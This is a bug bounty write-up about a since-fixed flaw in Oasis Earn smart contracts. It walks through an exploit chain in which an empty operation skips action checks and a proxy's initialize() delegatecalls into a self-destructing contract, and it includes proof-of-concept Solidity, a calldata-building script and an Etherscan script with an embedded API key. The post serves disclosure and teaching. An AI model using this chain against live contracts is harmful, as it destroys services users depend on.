Taking home a $20K bounty with Oasis platform shutdown vulnerability

Two weeks ago I've found a critical severity vulnerability in the Oasis platform (the team behind MakerDAO). It was confidentially disclosed via the Immunefi platform and very professionally handled by the team. Let's take a deep look into this quite distinct and educational finding.

Intro

Oasis has several DeFi offerings such as leveraged trading and borrowing. I've blogged previously about another platform shutdown I discovered in their "Multiply" service, unfortunately a month after someone else did. Several weeks ago they added the "Earn" service to scope, which comprises a bunch of new contracts and logic. Being familiar with their architecture and knowing they are reputable, it was worth taking a look.

Oasis Earn offers users a variety of trading strategies, backed by a library of composable trading legos. Essentially, users always keep their funds in a private DSProxy smart wallet. To perform a trade, they delegate execution to Earn smart contracts which implement the trading strategy whilst staying in the DSProxy context (delegatecall pattern).

Above we can see a standard Earn operation. User sends ETH to the DSProxy which does a bunch of leveraging tricks and eventually holds a leveraged stETH (Lido) position.

Now it's time to drill down to the contract-level. We'll build from the bottom up to make it understandable, and hopefully you'll make it past the theory before closing this tab.

Earn defines a bunch of actions like Swap, WrapEth, SendToken and so on.

contract SetApproval is Executable, UseStore {
  using SafeERC20 for IERC20;
  using Read for OperationStorage;
  constructor(address _registry) UseStore(_registry) {}
  /**
   * @dev Look at UseStore.sol to get additional info on paramsMapping
   * @param data Encoded calldata that conforms to the SetApprovalData struct
   * @param paramsMap Maps operation storage values by index (index offset by +1) to execute calldata params
   */
  function execute(bytes calldata data, uint8[] memory paramsMap) external payable override {
    SetApprovalData memory approval = parseInputs(data);
    approval.amount = store().readUint(bytes32(approval.amount), paramsMap[2], address(this));
    IERC20(approval.asset).safeApprove(approval.delegate, approval.amount);
    emit Action(SET_APPROVAL_ACTION, bytes32(approval.amount));
  }
  function parseInputs(bytes memory _callData) public pure returns (SetApprovalData memory params) {
    return abi.decode(_callData, (SetApprovalData));
  }
}

This is an example action. Actions must implement execute() and can do anything, in the context of user's smart contract.

ServiceRegistry has been used in Oasis before Earn. Treat it as a mapping between service names (e.g. "UniswapRouter"), or service hashes, to their ETH address.

OperationRegistry is Earn specific and holds an array of actions (e.g. [Swap, TakeFlashloan]) for each operation name. They are stored as hash of action name.

OperationStorage holds state for the operation execution, as the local state belongs to user's smart wallet.

The OperationExecutor contract is the contract directly called by DSProxy. It receives an array of calls (service hash + calldata) and an operationName and will execute the operation.

function executeOp(Call[] memory calls, string calldata operationName) public payable {
  OperationStorage opStorage = OperationStorage(registry.getRegisteredService(OPERATION_STORAGE));
  opStorage.lock();
  OperationsRegistry opRegistry = OperationsRegistry(
    registry.getRegisteredService(OPERATIONS_REGISTRY)
  );
  opStorage.clearStorage();
  opStorage.setOperationActions(opRegistry.getOperation(operationName));
  aggregate(calls);
  opStorage.clearStorage();
  opStorage.unlock();
  emit Operation(operationName, calls);
}

function aggregate(Call[] memory calls) internal {
  OperationStorage opStorage = OperationStorage(registry.getRegisteredService(OPERATION_STORAGE));
  bool hasActionsToVerify = opStorage.hasActionsToVerify();
  for (uint256 current = 0; current < calls.length; current++) {
    if (hasActionsToVerify) {
      opStorage.verifyAction(calls[current].targetHash);
    }
    address target = registry.getServiceAddress(calls[current].targetHash);
    target.functionDelegateCall(
      calls[current].callData,
      "OpExecutor: low-level delegatecall failed"
    );
  }
}

The lines in bold are the only relevant ones. ServiceRegistry is hardcoded to the contract's registry variable and OperationsRegistry is fetched with registry.getRegisteredService(OPERATIONS_REGISTRY).

The actions for the current operation are stored in OperationStorage. In aggregate(), we loop over the calls array and if hasActionsToVerify(), call verifyAction to make sure the parameter targetHash is the same as the action hash in the operation action array. After the check is passed, serviceRegistry is used to get the address of the action whose hash is passed. Finally, we delegatecall into the action with the parameter calldata.

And for those who stayed with me until now, congratulations, you made it past the boring but necessary part.

The bug

After almost a decade of vulnerability research, I am beyond convinced that 99% of our work is to reason about hidden assumptions made during development (1% is technical skills). To keep it short, in Oasis Earn that assumption is that executeOp will run in the context of user's DSProxy. This premise made life much easier for devs as they could afford to be much less careful - if user intentionally tries to screw something up, it will only impact that user.

Okay, so there's our hidden assumption. In order for it to lead to something interesting, we must assume it is falsified - and call executeOp directly. We've discussed that OperationExecutor stores state only through OperationStorage. Additionally, that storage is reset per executeOp(), so corrupting that won't lead to anything interesting. The only thing left to corrupt is the existence of OperationExecutor. Yes, we're back to the 90s equivalent of crypto, delegatecalls to selfdestruct().

The constraints

Okay, so we've convinced ourselves the only win is to use our passed Call struct to somehow achieve executeOp()->aggregate()->???->selfdestruct() opcode.

The first issue is that OperationsRegistry stores an array of actions for each operation name. If we supply a non-existing operation name the function reverts. If we supply an existing operation, we're forced to pass call target hashes which are the same as the registered action array for that operation ( The discussed verifyAction() behavior).

if (hasActionsToVerify) {
  opStorage.verifyAction(calls[current].targetHash);
}

The second issue is that the delegatecall target is resolved by ServiceRegistry's service mappings, which can only be changed by owner:

address target = registry.getServiceAddress(calls[current].targetHash);
target.functionDelegateCall(
  calls[current].callData,
  "OpExecutor: low-level delegatecall failed"
);

On the surface, that seems like a pretty dire starting point, doesn't it?

Code-reuse attacks

A perk of coming from low level exploitation is that code reuse attacks become second nature ( return-to-libc, ROP, JOP). In our case, we have a delegatecall with arbitrary calldata primitive, jumping to a preselected list of services added by Oasis. Recall that the ServiceRegistry hosts services for all Oasis platforms, so I expected there to be quite a few potential candidates. Unfortunately, the services are saved in a mapping which makes enumeration impossible ( no exposed getServices function). So I resorted to hacking a little Etherscan API script to print the list of registered services. It is based on pulling parameters off of addNamedService() calls which emit a ChangeApplied event like this one.

# Print historic logs
from datetime import datetime
from etherscan import Etherscan
import json
import requests
TEMPLATE = r'https://api.etherscan.io/api?module=logs&action=getLogs&address={}&topic0={}&page=1&offset=0&apikey={}'
TOPIC0 = '0x06f84d2b0960d69db49055d196f2a6420c16bc37a9818aad2672f4c645968c39'
API_KEY = 'GET_YOUR_OWN_KEY_:)'
ADDRESS = '0x9b4ae7b164d195df9c4da5d08be88b2848b2eada'

response = requests.request('GET', TEMPLATE.format(ADDRESS, TOPIC0, API_KEY))
results = json.loads(response.content)['result']
eth = Etherscan('EH4B8ZBESMDUTAKX5SP4KRVHXAHY97C1WD')

addresses = []
for result in results:
    addresses.append(('0x' + result['data'][-96:-96+40],
datetime.fromtimestamp(int(result['timeStamp'], 16))))

for address in addresses:
    contract_source = eth.get_contract_source_code(address[0])[0]
    contract_name = ''
    if 'ContractName' in contract_source:
        contract_name = contract_source['ContractName']
        print(address[0], contract_name, address[1])

The script outputted the following services:

0x68ff2d96edd4affce9cbe82bf55f0b70acb483ea McdUtils
0x40a63b453502ab04dfdf86fb79a9ff2ec337e188 AutomationExecutor
0x2a49eae5cca3f050ebec729cf90cc910fadaf7a2 MultiplyProxyActions
0x55dc2be8020bca72e58e665dc931e03b749ea5e0 McdView
0x6e87a7a0a03e51a741075fdf4d1fcce39a4df01b AutomationBot
0x5ef30b9986345249bc32d8928b7ee64de9435e39 DssCdpManager
0xa553c3f4e65a1fc951b236142c1f69c1bca5bf2b CloseCommand
0xae5280552794512c4c76933387b09ed64fd4a9d1 AutomationSwap
0x05fb55553e54afb33a5acc1f23b1f4fffd0d1af9 BasicBuyCommand
0x35d1b3f3d7966a1dfe207aa4514c12a259a0492b Vat
0x65c79fcb50ca1594b025960e539ed7a9a6d434a3 Spotter
0xa6bd41b821972e83d30598c5683efbbe6ad70fb8 BasicSellCommand
0x5f1d184204775fbb351c4b2c61a2fd4aabd3fb76 AutomationBotAggregator
0x75d956f875e2714bc37bae38890fa159eab661aa ConstantMultipleValidator
0xc7b548ad9cf38721810246c079b2d8083aba8909 Proxy
0x85f9b7408afe6ceb5e46223451f5d4b832b522dc GnosisSafeProxy
0x27ec53cc96c18c777d962ddee17b8c507238e69b OperationExecutor
0x01871c3ccfede29d2b998e7d1bf0eeebd26d9c49 OperationsRegistry
0x66081bcdb3760f1bf765b4d9800d0a059bbec73f OperationStorage
0x826e9f2e79ceea850df4d4757e0d12115a720d74 Swap
0x1111111254fb6c44bac0bed2854e76f90643097d AggregationRouterV4
0xff8e735e21f7f6124a37ff21f518805dbdca9663 PullToken
0x1d493a57f7d340f107dc6ec221217d451436711e SendToken
0x697404a0384b00d2ec32ce793e06c5602bc6b392 SetApproval
0x3d0bba8a0a1362bdecaf2d6f7291496362851803 SwapAction
0x1269a6abeb96c21398e25a08df7dbe1ca70f8729 TakeFlashloan
0x6f360b29a0b7616c41219da4f4ecf57838d2a1a5 UnwrapEth
0x19983cf36b602b12612cb87076a1d5b5ca3a3ca9 WrapEth
0x492858a7d1a10be2ce2732c172cba2622bbc957b ReturnFunds
0x3cc4d44d571a65e92d71d512602731b6e982fa50 AaveDeposit
0xf0722b4a65d8f43c20ea1a52ca31930e3d48ecad AaveBorrow
0x8cb606a2ee8eb3ff667e9f530557e4e76cd68a66 AaveWithdraw
0x17faa6ea47dd0303ce46f7c20569a195707742e2 AavePayback
0x7d2768de32b0b80b7a3454c06bdac94a69ddc7a9 InitializableImmutableAdminUpgradeabilityProxy
0xcc9a0b7c43dc2a5f023bb9b738e45b0ef6b06e04 WETHGateway
0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2 WETH9
0x60744434d6339a6b27d73d9eda62b6f66a0a04fa DssFlash
0xc6ccab5d277d4780998362a418a86032548132b8 AutoTakeProfitCommand

If there is a code path from one of these services to a controlled delegatecall (from calldata), which would work with our zero-initialized OperationExecutor storage, then that could be a win. It would have to be registered as an OperationRegistry action so that we may jump to it (verify action), or we'll have to find another trick.

How's our luck?

After looking at most of the services, I reached InitializableImmutableAdminUpgradeabilityProxy. This is a proxy for AAVE's LendingPool implementation. It inherits from InitializableUpgradeabilityProxy which is

contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
  /**
   * @dev Contract initializer.
   * @param _logic Address of the initial implementation.
   * @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
   * It should include the signature and the parameters of the function to be called, as described in
   * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
   * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
   */
  function initialize(address _logic, bytes memory _data) public payable {
    require(_implementation() == address(0));
    assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
    _setImplementation(_logic);
    if (_data.length > 0) {
      (bool success, ) = _logic.delegatecall(_data);
      require(success);
    }
  }
}

I looked at this function with utter amazement. It's the holy grail I was looking for! initialize() makes sure the previous implementation is 0 (which is stored in the eip1967 slot ), and then sets the implementation to the passed _logic address. If the data provided is not empty, it will directly delegatecall to it! Essentially jumping to initialize() leads to state confusion between ExecuteOp state and an uninitialized initializable proxy state. This means we can plant a self-destroying contract and pass its address in _logic and some non empty _data.

The second constraint

If life was kind to me, LendingPool would have been an action in some registered operation. Then we could pass this operation's name, and easily pass the action array verification. Turns out that is not the case. Instead, the pool is used internally by the Borrow action :

function execute(bytes calldata data, uint8[] memory) external payable override {
  BorrowData memory borrow = parseInputs(data);
  address wethGatewayAddress = registry.getRegisteredService(AAVE_WETH_GATEWAY);
  dWETH.approveDelegation(wethGatewayAddress, borrow.amount);
  IWETHGateway(wethGatewayAddress).borrowETH(
    registry.getRegisteredService(AAVE_LENDING_POOL),
    borrow.amount,
    2,
    0
  );
  address payable to = payable(borrow.to);
  to.transfer(borrow.amount);
  store().write(bytes32(borrow.amount));
  emit Action(BORROW_ACTION, bytes32(borrow.amount));
}

Well, this sucks. No matter which operation we pass, we can't specify AAVE LendingPool as a target as we'll drop in the verifyAction discussed:

function verifyAction(bytes32 actionHash) external {
  require(actions[action] == actionHash, "incorrect-action");
  registry.getServiceAddress(actionHash);
  action++;
}

But we didn't come this far to give up. Let's dig into the OperationRegistry and see what it has to offer.

Looking at the last operation added, this is what we find:

https://etherscan.io/tx/0x66779668e4c4bdb3d345230b549e4a4a4a65e9730dfd177ccfbd377c3018fdd6)

Dafuq? There's an empty actions array? But this means hasActionsToVerify() will return false!

function hasActionsToVerify() external view returns (bool) {
  return actions.length > 0;
}

And that means we can skip the verifyAction check altogether!

bool hasActionsToVerify = opStorage.hasActionsToVerify();
for (uint256 current = 0; current < calls.length; current++) {
  if (hasActionsToVerify) {
    opStorage.verifyAction(calls[current].targetHash);
  }
  address target = registry.getServiceAddress(calls[current].targetHash);
  target.functionDelegateCall(
    calls[current].callData,
    "OpExecutor: low-level delegatecall failed"
  );
}

So, it seems like passing CustomOperation gives us the last critical primitive - action array bypass! Passing CustomOperation means we can specify any service that exists in the ServiceRegistry, regardless of its existence in the OperationRegistry.

At this point we have closed a theoretical loop, and all that's needed is for the POC to prove we haven't missed any checks or logical faults in the process.

Let's POC in tenderly.co because it's the fastest and most intuitive way to do it:

1. Create the selfdestruct contract.

contract SuicideBomb {
  fallback() external {
    selfdestruct(payable(address(0)));
  }
}

2. Generate the calldata passed to executeOp with a hacky python script:

# Generate calldata
import eth_abi
import binascii
import sha3
SUICIDE_CONTRACT = '0xf9ee71f54f2009fd180c480e44a5176adcaba5ea'
initialize_params = eth_abi.abi.encode_abi(['address','bytes'], [SUICIDE_CONTRACT, b'blablabla'])
initialize_params_string = binascii.hexlify(initialize_params)
initialize_sig = sha3.keccak_256('initialize(address,bytes)'.encode()).hexdigest()[:8]
calldata = initialize_sig + initialize_params_string.decode()

3. Call executeOp() with initialize() calldata, targetHash=InitializableUpgradeableProxy service hash , operationName = CustomOperation

4. Watch the fireworks ( or the bomb detonation)

We've done it! We managed to blow up OperationExecutor, shutting down the Oasis Earn platform. I've taken a good look at the possibility of abusing approved funds to OperationExecutor, but ultimately don't see how that's possible (Let me know if I'm wrong). So going back to Oasis's bug bounty page, the submission fits the "Unauthorized Access" critical severity. Since my report, this impact was split into two different impacts:

After the distinction regarding risk to user funds, this finding would fall into High severity.

Submission timeline (local time):

• November 2, 11:21 pm - Submitted finding

• November 2, 11:40 pm - Escalated to the Oasis team

• November 3, 10:50 am - Oasis confirms they received the report

• November 3, 5:40 pm - Oasis confirms the issue

• November 4, 4:18 pm - Payment of 20K DAI received

• November 15, 12:30 pm - Got updated that fix was deployed

The fix

The Oasis team decided to go with a very surgical fix.

function aggregate(Call[] memory calls) internal {
  OperationStorage opStorage = OperationStorage(registry.getRegisteredService(OPERATION_STORAGE));
  bool hasActionsToVerify = opStorage.hasActionsToVerify();
  for (uint256 current = 0; current < calls.length; current++) {
    if (hasActionsToVerify) {
      opStorage.verifyAction(calls[current].targetHash);
    }

    address target = registry.getServiceAddress(calls[current].targetHash);
    target.execute(calls[current].callData);
  }
}

library ActionAddress {
  using Address for address;

  function execute(address action, bytes memory callData) internal {
    require(isCallingAnExecutable(callData), "OpExecutor: illegal call");
    action.functionDelegateCall(callData, "OpExecutor: low-level delegatecall failed");
  }

  function isCallingAnExecutable(bytes memory callData) private pure returns (bool) {
    bytes4 executeSelector = convertBytesToBytes4(
      abi.encodeWithSelector(Executable.execute.selector)
    );
    bytes4 selector = convertBytesToBytes4(callData);
    return selector == executeSelector;
  }

  function convertBytesToBytes4(bytes memory inBytes) private pure returns (bytes4 outBytes4) {
    if (inBytes.length == 0) {
      return 0x0;
    }

    assembly {
      outBytes4 := mload(add(inBytes, 32))
    }
  }
}

The change is that OperationExecutor will only delegatecall to execute (the function all actions register). This defeats our trick of calling initialize() and no execute() implementation leads to delegatecalls, so the exploitation chain is cut short.

Upon further reflection, I believe the most rock-solid fix would be to add a delegateOnly modifier to executeOp() so that it can never execute on it's own context. Still, the fix seems completely legit.

I'd like to pay massive respects to Oasis for the professional engagement and generous reward. The crit payout range is between 10K-100K, capped to 10% of lost user funds, so they offered twice as much as they had to.

Hopefully you've enjoyed reading this as much as I've enjoyed watching the POC blow up OperationExecutor. Stay tuned for more cool exploits in the weeks and months to come.